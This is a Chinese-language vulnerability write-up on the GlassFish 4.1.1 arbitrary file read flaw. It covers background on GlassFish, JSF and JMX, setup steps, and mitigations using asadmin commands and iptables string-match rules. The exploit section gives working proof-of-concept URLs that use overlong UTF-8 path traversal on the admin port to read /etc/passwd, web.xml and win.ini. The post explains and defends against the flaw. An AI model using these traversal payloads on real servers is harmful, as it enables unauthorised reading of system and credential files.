应用服务器Glassfish任意文件读取漏洞
catalogue
1. 前言和技术背景 2. Glassfish安装配置 3. 漏洞利用 4. 漏洞缓解(修复)
1. 前言和技术背景
0x1: GlassFish是什么
GlassFish 是用于构建 Java EE 5 应用服务器的开源开发项目的名称。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代码以及 Oracle 贡献的 TopLink 持久性代码。该项目提供了开发高质量应用服务器的结构化过程,以前所未有的速度提供新的功能。这是对希望能够获得源代码并为开发 Sun 的下一代应用服务器(基于 GlassFish)作出贡献的 Java 开发者作出的回应。该项目旨在促进 Sun 和 Oracle 工程师与社区之间的交流,它将使得所有开发者都能够参与到应用服务器的开发过程中来
0x2: JSF是什么
JSF ,java Server Faces, 他与struts一样都是web应用框架,但是他们的本质区别在于, struts只是单纯的MVC模式框架,而JSF是一种事件驱动型的组件模型
应用程序的开发有两种B/S(浏览器/服务器)和C/S(客户端/服务器端),JSF就是将C/S开发中的界面引入了B/S开发中,然后为界面上的每一个控件都提供事件侦听器。通过JSF,可以在网页上使用WEB组件来捕获用户行为产生的事件.使用JSF开发web程序将与开发swing程序类似,可以拖放控件
0x3: JMX是什么
JMX(Java Management Extensions)是一个为应用程序植入管理功能的框架。JMX是一套标准的代理和服务,实际上,用户可以在任何Java应用程序中使用这些代理和服务实现管理
JMX是一种应用编程接口,可扩充对象和方法的集合体,可以用于跨越一系列不同的异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用它提供了用户界面指导、Java类和开发集成系统、网络及网络管理应用的规范。
管理对象是JMX应用程序的核心。JMX结构包括:支持Java的Web浏览器用户接口,管理运行模块ARM(Admin Runtime Module)和应用。这三个部件之间通过RMI(Remote Method Invocation)进行通信。这里需要说明的是,RMI是使得一个Java虚拟机(JVM)上运行的程序可以调用远程服务器上另一个JVM总的对象。
用户接口用来发布管理操作,这些操作可以间接的通过浏览器或通过单独的应用程序来激发。管理运行模块用来给应用提供实例化的管理对象。它包括Agent对象接口,通知接口和被管数据接口。应用指的是那些被管设备单元。
JMX是一个完整的网络管理应用程序开发环境,它同时提供了:厂商需要收集的完整的特性清单,可生成资源清单表格,图形化的用户接口;访问SNMP的网络API;主机间远程过程调用;数据库访问方法。
JMX这一轻型的管理基础结构,价值在于对被管理资源的服务实现了抽象,提供了低层的基本类集合,开发人员在保证大多数的公共管理类的完整性和一致性的前提下,进行扩展以满足特定网络管理应用的需要
Relevant Link:
http://www.xuebuyuan.com/1865382.html
2. Glassfish安装配置
unzip glassfish-4.1.1*zip glassfish4/bin/asadmin start-domain Go to http://localhost:4848
Relevant Link:
https://java.net/projects/glassfish/sources/svn/show/trunk/main/appserver/admingui/webui-jsf-suntheme-plugin-l10n/src/main/resources/com/sun/webui?rev=64241 http://www.1maven.com/classname-packaging?query&cl=ThemeServlet&pk=com.sun.webui.theme&pg=1&a=&s=#t_ https://glassfish.java.net/download.html
3. 漏洞利用
0x1: POC1(..编码)
http://localhost:4848/theme/META-INF/png%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
0x2: POC1(/编码)
http://localhost:4848/theme/META-INF/..%c0%afMETA-INF%c0%af..%c0%af..%c0%af__admingui%c0%afWEB-INF%c0%afweb.xml http://localhost:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
4.1.1把 %c0%ae = . 修复了,但是%c0%af = /没过滤
Relevant Link:
http://mp.weixin.qq.com/s?__biz=MzAwNTYwMjM3Mw==&mid=401676448&idx=1&sn=27231eed275dccdeb8c44e1cc6ac1f9a&scene=2&srcid=0114QPY75arMj4necv5moRY0&from=timeline&isappinstalled=0#wechat_redirect http://www.wooyun.org/bugs/wooyun-2010-0144595
4. 漏洞缓解(修复)
0x1: 关闭远程管理
关闭远程管理,关闭后只允许本地访问,会提示要求输入用户名和密码,开发环境或者对服务器安全要求较高的环境可以选择这么做,修改该设置后应该重启GlassFish服务
./asadmin change-admin-password ./asadmin disable-secure-admin ./asadmin stop-domain ./asadmin start-domain asadmin.bat change-admin-password asadmin.bat disable-secure-admin asadmin.bat stop-domain asadmin.bat start-domain
需要注意的是,关闭远程访问只能禁用远程login登录,但是攻击url还是可以访问,任意文件读取依然存在
0x2: Iptables规则
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '..\%c0\%af' -j DROP iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '\%c0\%ae/' -j DROP iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '../' -j DROP //该规则无法防御HTTPS SSL方案
0x3: 禁用web.xml theme映射
\glassfish4\glassfish\lib\install\applications\__admingui\WEB-INF\web.xml
重启glassfish后生效
Relevant Link:
http://blog.csdn.net/joyous/article/details/8008870 http://blog.csdn.net/myjlvzlp/article/details/8009885 http://book.51cto.com/art/200904/120804.htm http://www.netfilter.org/documentation/HOWTO/netfilter-extensions-HOWTO-3.html http://blog.nintechnet.com/how-to-block-w00tw00t-at-isc-sans-dfind-and-other-web-vulnerability-scanners/
Copyright (c) 2016 LittleHann All rights reserved
应用服务器Glassfish任意文件读取漏洞相关推荐
- glassfish任意文件读取漏洞
glassfish任意文件读取漏洞 1.简介 1.1.漏洞类型 1.2.漏洞成因 1.3.语法搜索 1.4.影响版本 2.漏洞复现 2.1.POC 2.2.访问地址 2.3.GlassFish的敏感目 ...
- GlassFish 任意文件读取
一. 漏洞描述 glassfish是一款java编写的跨平台的开源的应用服务器.2015年10月,被爆出通用任意文件读取漏洞.利用这个漏洞,攻击者可读取服务器上任意文件. 与宽字节SQL注入一致,都是 ...
- Apache Solr任意文件读取漏洞复现
Apache Solr任意文件读取漏洞复现 一.简介 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口.用户可以通过http请求,向搜索引擎服务器提交一定格 ...
- php 打开任意文件下载,TEC-004-php文件下载任意文件读取漏洞修复
修改download?u参数值,将/public/files/14842030529.txt,替换为../../../../../../../../../../etc/passwd function ...
- 安全研究 | Jenkins 任意文件读取漏洞分析
欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室 发表于云+社区专栏 一.漏洞背景 漏洞编号:CVE-2018-1999002 漏洞等级:高危 Jenkins 7 月 18 ...
- .exp文件_mini_httpd 任意文件读取漏洞(附EXP脚本)
一.环境搭建: 进入镜像目录: cd vulhub/mini_httpd/CVE-2018-18778 启动环境: docker-compose up -d 访问8088端口 二.漏洞描述: Mini ...
- gitlab 更新文件_GitLab任意文件读取漏洞公告
2020年4月28日,GitLab的一个任意文件读取漏洞的漏洞细节被公开.该漏洞补丁于2020年3月26号由GitLab官方发布.深信服安全研究团队依据漏洞重要性和影响力进行评估,作出漏洞通告. 漏洞 ...
- phpcms前台注入导致任意文件读取漏洞
关于:phpcms前台注入导致任意文件读取漏洞的修复问题 简介: phpcms的/phpcms/modules/content/down.php文件中,对输入参数 $_GET['a_k']未进行严格过 ...
- Grafana 中存在严重的未授权任意文件读取漏洞,已遭利用
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Grafana Labs 发布紧急安全更新,修复了影响该公司主产品 Grafana 仪表盘中的严重漏洞 (CVE-2021-43798),CVS ...
最新文章
- MyEclipse或者Eclipse内存溢出问题
- 与c交互_SV DPI-C接口学习心得
- DockerFile 参数详解
- VTK:VTK 的相机模型用法实战
- Android—开发过程中的相关注意事项
- CPaintDC、CClientDC、CWindowDC和CMetaFileDC类的主要特点及区别-Windows绘图基础知识
- node js 技术架构_[视频] Node JS中的干净架构
- c语言求偶数的积,《动物的多*语言》阅读理解及*
- C语言 如何判断一个主机是大端还是小端
- 在 tornado 中异步无阻塞的执行耗时任务
- Revit二次开发——新建墙类型
- java分布式事务框架_Java分布式事务,及解决方案
- 教你用迅雷下载百度网盘的文件
- 【职场】近期工作感悟
- Call Center核心词汇含义及功能
- java 解析uri_Uri详解之——Uri结构与代码提取
- 【AVISO 测高数据获取:注册与利用FileZilla下载】
- python怎么取共轭_python print出共轭复数的方法详解
- 市场分析-全球与中国木槿果实提取物市场现状及未来发展趋势
- java单选框的讲课ppt6_Joho Lewis《Java Software Solutions》第六版课件第十....ppt
热门文章
- 全球只有4个人通关的游戏_只有两人协力才能通关这款2019谷歌最佳创意游戏
- 此处不允许使用分组函数_查找当前薪水排名第二多的员工信息(不使用order by和窗口函数)...
- 服务器上使用mysql_在服务器上安装、使用MySQL的注意事项
- AJAX设置光标离开自动提交,Ajax自动提交和刷新页面
- linux man 手册翻译,close (linux man) 翻译
- 2021温州市高考成绩查询,温州2021高考成绩排名榜单,温州各高中高考成绩喜报
- 16 The Terminal and Job Control
- python socket epoll
- opencv-api drawKeypoints drawMatches
- opencv 轮廓检测